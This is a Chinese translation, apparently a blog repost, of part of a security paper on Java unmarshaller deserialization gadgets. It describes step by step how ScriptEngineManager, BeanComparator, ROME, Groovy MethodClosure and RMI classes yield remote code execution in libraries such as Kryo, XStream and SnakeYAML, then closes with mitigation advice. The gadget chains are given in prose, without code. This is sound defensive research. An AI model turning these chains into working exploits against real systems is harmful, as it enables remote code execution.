2. QName->toString() 调用 javax.naming.Context->composeName()

   ContinuationContext->composeName() 调用 getTargetContext()，进而利用攻击者提供的UI对象调用 NamingManager->getContext(), 最终到达 NamingManager->getObjectInstance()

   适用于

   Kryo (3.2.2)†, Hessian/Burlap (3.2.3), json-io (3.2.4), XStream (3.2.5)

4.16 javax.script.ScriptEngineManager

来自 Oracle/OpenJDK 标准库。 需要使用提供的数据调用任意构造函数的能力。 涉及的类型没有实现 java.io.Serializable。

1. 构建一个 java.net.URL 指向一个远程 class path
2. 使用该 URL 构建一个 java.net.URLClassLoader
3. 使用该 ClassLoader 构建 javax.script.ScriptEngineManager

   javax.script.ScriptEngineManager 构造函数 会调用 ServiceLoader 机制 ， 最终实例化一个任意实现了该接口的远程 class

   适用于

   SnakeYAML (3.1.1)

4.17 Commons BeanutilsBeanComparator

知名的 Java deserialization gadget ，由 Chris Frohoff 第一次发布。 实现了 java.io.Serializable， 有public 默认构造函数，需要的属性也有 public getter/setter 。如果提供了一个排序过的 collection/map ，就需要调用一个自定义的 java.util.Comparator。

1. 根据要调用的 getter， 用 Comparator 构造一个包含属性集的 collection/map 。
2. 插入两个目标对象实例， 进而调用 Comparator
3. BeanComparator 会调用两个对象的 属性getter 方法

也能用于通过 'databaseMetaData' 触发 TemplatesImpl (4.1.1) or JdbcRowset (4.2)

   适用于

   Java Serialization (3.2.1), Kryo (3.2.2), XStream (3.2.5)

4.18 ROMEEqualsBean/ToStringBean

作为一个 Java deserialization gadge 被公开。 所有涉及类型都实现了 java.io.Serializable 。没有默认构造函数和 setters。 因此 exp 需要一个运行任意构造函数调用、或、完全不调用构造函数的 marshaller 。需要可以 marshal java.lang.Class 。

1. 创建一个 EqualsBean，将 obj 设置为 ToStringBean 实例。 ToStringBean 的 'obj' 设置为目标对象， 它的 'beanClass'属性就是对象的 class
   (或者包含应该调用的 getter 方法的 superclass/interface ，这可能是有帮助的，因为来自 getter 的异常将停止执行)
2. 插入结果返回的对象进入 collection ,调用 hashCode()
3. EqualsBean->hashCode() 触发 'obj' 属性的 toString()
4. ToStringBean->toString() 调用所有 'beanClass' 的 getter 方法

也能通过 'databaseMetaData' 属性触发 TemplatesImpl (4.1.1) 或者 JdbcRowset (4.2)

   适用于

Java Serialization (3.2.1), Kryo (3.2.2)†, Hessian/Burlap (3.2.3), json-io (3.2.4),XStream (3.2.5)

4.19 GroovyExpando/MethodClosure

这个已经被用于对 XStream(3.2.5) 的攻击。 类型都没有实现 java.io.Serializable 。 攻击者也不需要控制 setters。 MethodClosure 没有默认构造函， 有一个 readResolve() 和 readObject() 方法会抛出异常 (必须不被调用)
（ readResolve()在版本2.4.4中引入，从版本2.4.8开始，还实现了readObject()，它将执行相同的操作 ）

1. 创建一个 MethodClosure ， 设置 'delegate' 和 'owner' 属性为一个 java.lang.ProcessBuilder 实例， 使用 命令和参数启动， 设置 'method' 到 'start'。
2. 创建一个 Expando 实例 ， 添加 MethodClosure 到 'expandoProperties' 作为 'hashCode' key(也能触发 'toString' 和 'equals')

插入一个 collection 调用 hashCode()。 Expando 调用 MethodClosure 执行 hashCode() ，最近调用 ProcessBuilder->start() 执行命令。

适用于

Kryo (3.2.2)†, json-io (3.2.4)

4.20 sun.rmi.server.UnicastRef(2)

来自 Oracle/OpenJDK 标准库。作为一个 Java Serialization 过滤的 bypass gadget被公开。需要支持 java.io.Externalizable。java.io.Externalizable->readExternal() 会通过 LiveRef->read() 注册一个 RMI Distributed Garbage Collection (DGC) 对象引用 。为了执行 DGC ， 对象的用户必须通知托管改对象的 endpoint 有关其使用的信息。通过打开到该 endpoint 的JRMP 连接来对调用DGC 服务的 dirty()。远程地址是攻击者控制的，这就意味着我们正在攻击者控制的 JRMP 服务器上执行调用。JRMP 是基于 Java Serialization ，精心设计的异常返回值将被主机 unmarshalling 。这就给攻击者几个进一步执行代码，通常这里没有其他地方设置的过滤器。

适用于

BlazeDS (3.1.4), json-io (3.2.4)

4.21 java.rmi.server.UnicastRemoteObject

来自 Oracle/OpenJDK 标准库。作为一个 Java Serialization 过滤的 bypass gadget 被公开。成功攻击需要攻击者可以调用 protected 默认构造函数，或 readObject()。

这将通过 RMI 导出读取/实例化的对象。 沿着这么走下去，显然会有一个特殊的 endpoint 存在， 创建一个 listener 绑定至 0.0.0.0。如果 protected 默认构造函数被调用了， 会bind 一个随机端口，否则攻击者会提供一个端口。 如果那个 listener 可以被攻击者访问 ， 这就可能通过 JRMP 造成攻击 Java deserialization。

这里有几个限制。 为了攻击 JRMP 服务，我们需要对对象进行调用。我们需要的对象 ID 是随机的（如果没有配置）。这里有三个出名的对象 ID - DGC(2) ，RMI Activator(1) ，RMI Registry(0). 只有 DGC 是一直可以调用的， 当程序用了 RMI/JMX 才可用 RMI Registry , Activator 相当罕见。根据目标应用程序的类加载器体系结构，因为对象使用 APPClassLoader ,可能无法产生利用。

导出的对象将会使用 thread’s context class loader ，可以在对象被创建时激活。对于web应用程序，这通常是一个有趣的例子。 如果攻击者可以泄露对象的 identifier ， 访问该对象和它的 class loader ，那么就可能被进一步攻击。示例 Jenkins CVE-2016-0788

适用于

Jackson (3.1.6), json-io (3.2.4)

5 进一步交流

到现在为止，我们仅仅关注于发生在 unmarshalling 过程中的事，这发生在控制流返回到用户应用之前。但是如果你以后不打算使用这些数据，为什么还要 unmarshal 。假设需要 unmarshalled 的对象 通过了可能的类型检查，在这些过滤之后还有开发 exp 的空间。一个明显的例子是，如果应用程序直接调用某个方法，由于攻击者提供的对象的(意外的)状态产生不想要的副作用。注入 proxy 的能力几乎可以打破任何对对象行为的预期。有一下更一般的场景甚至不需要程序与 "bad" 类型交互。

5.1 Marshalling Getter Calls

基于属性的 marshallers 会调用所有对象包含的属性 getters。因此，如果预先 unmarshalled 对象（不一定要使用相同的机制）最终到达一个 marshalling 机制，将对攻击者控制的对象调用一系列全新的方法。

如果可以区分不同类型进行恢复，它们将在 marshalling 时触发一些不希望的影响。例如：

- Xalan 的 TemplatesImpl 执行 getOutputProperties() 提供的字节码
- com.sun.rowset.JdbcRowSetImpl 会在 getDatabaseMetaData() 时触发一个 JNDI lookup
- org.apache.xalan.lib.sql.JNDIConnectionPool 会在 getConnection() 触发 JDNI lookup
- java.security.SignedObject: 将触发对 getObject() 上提供的数据的 Java deserialization

5.2 Java “re”serialization

大部分 servlet containers 在一个 servlet session 中存储对象图时 ， 如果 session 被置换出去就会触发 serialization ,当被 置换回来时会触发 deserialization 。 这里有各种各样的 primitives 可以通过使用Java Serialization 克隆对象图。这也可以实现其他方法不可实现的攻击向量。一个例子是 spring-tx 的 JtaTransactionManager。这个class 可以使用所有描述过的机制十分漂亮的创建。 但是几乎没有一个会触发开发 exp 所需的初始化代码，因为这是在 afterPropertiesSet()或readObject()中完成的。但是如果攻击者精心制作的对象被存储在一个session 中 或者 通过 serialization 进行克隆，就会触发这段代码。

6 总结

好消息是这些机制或多或少会传递 java type 信息 -- 暴露实现细节，因此不适合作为 public APIs ，并且很少被用于这些。 有些描述的 marshallers 相当模糊，有些甚至已经被废弃，但是几乎所有的这些 marshallers 都能在大型项目中找到被用于开发 exp ，许多情况下会造成严重的漏洞。

这个问题仅限于 Java 吗？ 显然并不是（例如 c# 中 Json.NET 多态的 TypeNameHandling，使用文档中就有一个 warning 不要随意使用它，通常并没有人注意到）。 Java 的 flat class path 架构和大量的通用 class paths 包括但不限于标准库，为 exp开发提供了大量可用代码（模块化技术，如 OSGI、JBoss/Wildfly 模块和 Java 9 模块，确实通过显式限制可访问类型，大大降低了实例可被利用的可能性，但这并不是万能的。）。标准库中提供的 企业级特性 (JNDI) 提供了远程代码执行的能力，通过看似无害的 API 完成剩下的工作。这里许多提出的 gadgets 依赖于 JNDI 实现 RCE 。JNDI/RMI 已经默认不允许远程代码库，而且作者认为 JNDI/LDAP 很快也会如此。然而，这不会修复现实的问题，首先这段代码是可达的并且允许升级到 java Serialization (3.2.1) ，可能比原先的机制更易被攻击。

在比较这些不同的机制时，很明显，尽管基于字段和基于属性的 marshallers 二者 gadgets 并没有多少重叠，但是它们都可以被利用，而且它们的脆弱程度主要取决于可供利用的类型的数量。这些限制有些可能来自技术要求，例如可见约束和构造函数的要求（参见 Kryo 3.2.2 ），使用运行时 类型信息 和 某些情况下的目标对象 intent 声明。除了 Hessian/Burlap (3.2.3) 中的错误实现外， Java Serialization (3.2.1) 似乎是唯一一种通过 java.io.Serializable 实现了 intent 检查的机制。

虽然运行声明一个类型是否可以 marshalling 是一个好主意，而且像这里描述的机制表现的那样，取消现在会变得更糟。我们已经看到了 Java Serialization (3.2.1) 出现了严重的错误。这个错误有各种原因，其中一个是 java.io.Serializable 有两个相互冲突的需求。 使用钝化,例如 在web 会话中存储一些对象，希望尽可能实现透明恢复，而在数据传输过程中的使用应尽量减少副作用。另一个问题出现在 intent 是通过一个接口 声明的 ，因此是可遗传的，将强制适用于所有子类型。最终判断是否安全的责任落到了那些可能看不到全貌的人头上，一个代码库中看似安全的东西可能突然间在另一个代码库由于

除非在确实需要使用具有不希望的行为的类的情况下，从root type 开始对 fields/properties/collections 进行完全的类型检查是一个十分有效的缓解措施，但是大多数情况下需要软件架构上的调整，并且不能完全的实现多态性。将其与多态类型的注册向结合，例如 GSON 或的 Jackson 利用 Id.NAME 机制所做的，似乎做到了安全与便利直接的平衡。

人们都爱找替罪羊。hashCode()/equals() 或属性访问器的实现是否应该调用任何可能造成副作用的代码?(在判断时，作者建议你先看看 ServiceLoader (4.3) 中描述的 iterator 触发器)。 尽管一般而言这可能是一个 bad style ,它也可能是在其他时候获得正确行为所必须的。是否 unmarshaller 需要假定所有类型都遵循某些隐形约定？
也许并不是，但是如果没有任何约定那么他们什么都做不了。开发人员应该更关注他们所使用的技术的安全性，包括阅读文档中的警告，而不是便利性吗?当然！

对于 Java Serialization (3.2.1) ，我们已经看见一下代码库， commons-collections 和 groovy 宣称"修复"了代码中的gadgets。
但是在作者的观点这是一个坏选项，遗留了许多可被利用的示例，因为根本问题并没有被解决。在许多情况下，甚至不可能实现本文某些描述机制的缓解，因为类型无法防止 unmarshalling。

unmarshalling 到对象一定是一种形式的代码执行。一旦你允许攻击者调用甚至你自己也不知道会运行什么的代码，那么它很可能会走向你不愿意看到的地方。

不管 unmarshalling 如何与对象交互，有多么 "powerful" ,如果他允许 unmarshalling 至那些没有被明确指定目标的对象类型，那么它有极大可能被利用。

唯一正确的修复方法是限制类型的可用性--可能表现为白名单，使用从根类型开始的 runtime 类型信息，或者其他的指标。他们必须保证在 unmarshalled 时不产生任何副作用。最好的情况下，这些是不包含任何逻辑的数据对象。现实中，实际使用的类型的限制似乎并不够好，通常你不关心的成吨的代码会让你被攻破。

上一篇：无监督异常检测模型原理与安全实践 下一篇：基于污点分析的XSS漏洞辅助挖掘的...
1. 0 条回复
   - 动动手指，沙发就是你的了！

目录